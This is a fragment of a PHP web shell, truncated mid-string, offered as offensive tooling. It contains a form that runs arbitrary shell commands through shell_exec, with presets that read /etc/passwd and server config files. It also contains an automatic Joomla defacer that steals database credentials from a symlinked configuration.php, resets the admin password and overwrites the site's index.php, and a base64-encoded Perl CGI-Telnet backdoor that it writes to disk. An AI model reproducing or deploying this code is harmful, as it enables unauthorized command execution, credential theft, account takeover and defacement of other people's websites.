<form action="?y=<?php echo $pwd; ?>&amp;x=bypass" method="post">

<?php
echo "<center/><br/><b><font color=#FF0000>--==[ Command  Bypass Exploit ]==--</font></b><br>
";
print_r(\'
<pre>
<form method="POST" action="">
<b><font color=#FF0000><b><font color="#FF0000">Command  :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#FF0000">Menu Bypass  :=)  </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="G&ouml;">
</form>
</pre>
\');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]); 
$liz0zim=shell_exec($_POST[liz0]); 
$uid=shell_exec(\'id\');
$server=shell_exec(\'uname -a\');
echo "<pre><h4>";

echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
 "</div>"; }

 ///////////////////////////////////////////////////////////////////////////
 
 elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jodexer\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=jodexer" method="post">

<?php

function randomt() {
    
        $chars = "abcdefghijkmnopqrstuvwxyz023456789";
        srand((double)microtime()*1000000);
        $i = 0;
        $pass = \'\' ;
    
        while ($i <= 7) {
            $num = rand() % 33;
            $tmp = substr($chars, $num, 1);
            $pass = $pass . $tmp;
            $i++;
        }
    
        return $pass;
    
    }
    function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
    {
    $ar0=explode($marqueurDebutLien, $text);
    $ar1=explode($marqueurFinLien, $ar0[$i]);
    $ar=trim($ar1[0]);
    return $ar;
    }
    if ($_POST[\'form_action\'])
    {
    
    $text=file_get_contents($_POST[\'file\']);
    $username=entre2v2($text,"public $user = \'","\';");
    $password=entre2v2($text,"public $password = \', \'","\';");
    $dbname=entre2v2($text,"public $db = \', \'","\';");
    $dbprefix=entre2v2($text,"public $dbprefix = \'","\';");
    $site_url=($_POST[\'site_url\']);
    
    $h="<? echo(stripslashes(base64_decode(\'".urlencode(base64_encode(str_replace("\'","\'",($_POST[\'code\']))))."\'))); exit; ?>";
    
    $co=randomt();  
      /*
    echo($username);
    echo("<br>");
    echo($password);
    echo("<br>");
    echo($dbname);
    echo("<br>");
    echo($dbprefix);
    echo("<br>");
    */
    $co=randomt();
    
    if ($_POST[\'form_action\'])
    {
    $h="<? echo(stripslashes(base64_decode(\'".urlencode(base64_encode(str_replace("\'","\'",($_POST[\'code\']))))."\'))); exit; ?>";
    
    
    
    
    
          $link=mysql_connect("dzoed.druknet.bt",$username,$password) ;
    
             mysql_select_db($dbname,$link) ;
    
    $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username =\'admin\' , password = \'2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX\'");
    echo("<br>[+] Changing admin password to 123456789");  
                    
                     $req =mysql_query("SELECT * from  `".$dbprefix."extensions` ");
                    
    if ( $req )
    {
    #################################################################
    ######################        V1.6         ######################
    #################################################################
    
                  
    $req =mysql_query("SELECT * from  `".$dbprefix."template_styles` WHERE client_id=\'0\' and home=\'1\'");
             $data = mysql_fetch_array($req);
    $template_name=$data["template"];
    
    $req =mysql_query("SELECT * from  `".$dbprefix."extensions` WHERE name=\'".$template_name."\'");
             $data = mysql_fetch_array($req);
    $template_id=$data["extension_id"];
    
    $url2=$site_url."/index.php";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url2);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    
    
    $buffer = curl_exec($ch);
    
    $return=entre2v2($buffer ,\'<input type="hidden" name="return" value="\',\'"\');
    $hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',4);
    
    ///////////////////////////
    $url2=$site_url."/index.php";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url2);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
    
    $pos = strpos($buffer,"com_config");
    if($pos === false) {
    echo("<br>[+] Login Error");
    exit;
    }
    else {
    echo("<br>[+] Login Successful");
    }
    ///////////////////////////
    $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url2);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
    
    $hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',2);
    if($hidden2) {
    echo("<br>[+] index.php file founded in Theme Editor");
    }
    else {
    echo("<br>[-] index.php Not found in Theme Editor");
    exit;
    }
    echo("<br>[*] Updating Index.php .....");
    $url2=$site_url."/index.php?option=com_templates&layout=edit";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url2);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
    
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
    
    $pos = strpos($buffer,\'<dd class="message message">\');
    if($pos === false) {
    echo("<br>[-] Updating Index.php Error");
    exit;
    }
    else {
    echo("<br>[~] index.php successfully saved");
    }
    #################################################################
    ######################      V1.6  END      ######################
    #################################################################
    
    
    }
    else
    {
    
    #################################################################
    ######################      V1.5           ######################
    #################################################################
                    
    $req =mysql_query("SELECT * from  `".$dbprefix."templates_menu` WHERE client_id=\'0\'");
             $data = mysql_fetch_array($req);
    $template_name=$data["template"];
    
    $url2=$site_url."/index.php";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url2);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
    
    $hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',3);
    
    $url2=$site_url."/index.php";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url2);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
    
    $pos = strpos($buffer,"com_config");
    
    if($pos === false) {
    echo("<br>[-] Login Error");
    exit;
    }
    else {
    echo("<br>[+] Login Successful");
    }
    ///////////////////////////
    $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url2);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
    
    $hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',6);
    
    if($hidden2) {
    echo("<br>[~] index.php file founded in Theme Editor");
    }
    else {
    echo("<br>[-] index.php Not found in Theme Editor");
    }
    
    echo("<br>[*] Updating Index.php .....");
    $url2=$site_url."/index.php?option=com_templates&layout=edit";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url2);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
    $buffer = curl_exec($ch);
    
    $pos = strpos($buffer,\'<dd class="message message fade">\');
    if($pos === false) {
    echo("<br>[-] Updating Index.php Error");
    exit;
    }
    else {
    echo("<br>[~] index.php successfully saved");
    }
    #################################################################
    ######################      V1.5  END      ######################
    #################################################################
    
    }
    
    }
    
    
    function randomt() {
    
        $chars = "abcdefghijkmnopqrstuvwxyz023456789";
        srand((double)microtime()*1000000);
        $i = 0;
        $pass = \'\' ;
    
        while ($i <= 7) {
            $num = rand() % 33;
            $tmp = substr($chars, $num, 1);
            $pass = $pass . $tmp;
            $i++;
        }
    
        return $pass;
    
    }
    
    function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
    
    {
    
    $ar0=explode($marqueurDebutLien, $text);
    $ar1=explode($marqueurFinLien, $ar0[$i]);
    $ar=trim($ar1[0]);
    return $ar;
    }
    
    }?>
    <center><br><br>
    <font color="#FF0000" size=\'+3\'><b>--==[ Automatic Joomla Index Changer ]==--</b></font><br><br>
    </center>
    <center><b>
    Link of symlink configuration.php of Joomla<br></b>
    <FORM action=""  method="post">
    <input type="hidden" name="form_action" value="1">
     <input type="text" class="inputz" size="60" name="file" value="http://site.com/sym/home/user/public_html/configuration.php">
    <br>
    <br><b>
    Admin Control Panel URL</b><br>
    <input type="text" class="inputz" size="40" name="site_url" value="http://site/administrator"><br>
    <br><b>
    Your Index Code</b>
    <br>
    <TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code"> your index code
            </TEXTAREA>
            <br>
    <INPUT  class="inputzbut" type="submit" value="Lets Go Deface !!!" name="Submit">
    </FORM>
     </center>
    <script language=JavaScript>m=\'%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E\';d=unescape(m);document.write(d);</script>
	<?php
}
 ///////////////////////////////////////////////////////////////////////////
 
 elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cgi2012\')) { 
 echo "<center/><br/><b>
 +--==[ CGI-Telnet Version 1.3 ]==--+ 
 </b><br><br>";
 
 
    mkdir(\'cgi2012\', 0755);
    chdir(\'cgi2012\');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , \'w\') or die ("Dosya a&#231;&#305;lamad&#305;!");
        $metin = "AddHandler cgi-script .izo";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$cgi2012 = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQkJIyBEb24ndCBzZXQgdGhpcyB0byBhIHZlcnkgbGFyZ2UgdmFsdWUuIFRoaXMgaXMKCQkJCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkJCQkJIyB0YWtlIHZlcnkgbG9uZyB0byBleGVjdXRlLCBsaWtlICJmaW5kIC8iLgoJCQkJCQkJCSMgVGhpcyBpcyB2YWxpZCBvbmx5IG9uIFVuaXggc2VydmVycy4gSXQgaXMKCQkJCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkJIyBJZiB0aGlzIGlzIDEsIHRoZW4gZGF0YSBpcyBzZW50IHRvIHRoZQoJCQkJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlCgkJCQkJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkJCQkJIyBjb21wbGV0ZXMuIFRoaXMgaXMgdXNlZnVsIGZvciBjb21tYW5kcyBsaWtlCgkJCQkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQKCQkJCQkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwokY29scz0gMTUwOwokcm93cz0gMjY7CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0CiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlwYXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4KIyBUaGUgZmlsZW5hbWUgaXMgc3RvcmVkIGluICRpbnsnZid9IGFuZCB0aGUgZGF0YSBpcyBzdG9yZWQgaW4gJGlueydmaWxlZGF0YSd9LgojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mCiMgdGhlIHZhcmlhYmxlLiBOb3RlOiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBDR0kKIyBzY3JpcHRzLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSZWFkUGFyc2UgCnsKCWxvY2FsICgqaW4pID0gQF8gaWYgQF87Cglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwpOwoJCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQoJewoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9OwoJfQoJZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpCgl7CgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOwoJCXJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7Cgl9CgoJIyBoYW5kbGUgZmlsZSB1cGxvYWQgZGF0YQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pCgl7CgkJJEJvdW5kYXJ5ID0gJy0tJy4kMTsgIyBwbGVhc2UgcmVmZXIgdG8gUkZDMTg2NyAKCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyAKCQkkSGVhZGVyQm9keSA9ICRsaXN0WzFdOwoJCSRIZWFkZXJCb2R5ID1+IC9cclxuXHJcbnxcblxuLzsKCQkkSGVhZGVyID0gJGA7CgkJJEJvZHkgPSAkJzsKIAkJJEJvZHkgPX4gcy9cclxuJC8vOyAjIHRoZSBsYXN0IFxyXG4gd2FzIHB1dCBpbiBieSBOZXRzY2FwZQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5OwoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgCgkJJGlueydmJ30gPSAkMTsgCgkJJGlueydmJ30gPX4gcy9cIi8vZzsKCQkkaW57J2YnfSA9fiBzL1xzLy9nOwoKCQkjIHBhcnNlIHRyYWlsZXIKCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQoJCXsgCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOwoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87CgkJCSRrZXkgPSAkMTsKCQkJJHZhbCA9ICQnOwoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gPSAkdmFsOyAKCQl9Cgl9CgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkKCXsKCQlAaW4gPSBzcGxpdCgvJi8sICRpbik7CgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQoJCXsKCQkJJGluWyRpXSA9fiBzL1wrLyAvZzsKCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsKCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcgojIEFyZ3VtZW50IDE6IEZvcm0gaXRlbSBuYW1lIHRvIHdoaWNoIGZvY3VzIHNob3VsZCBiZSBzZXQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbi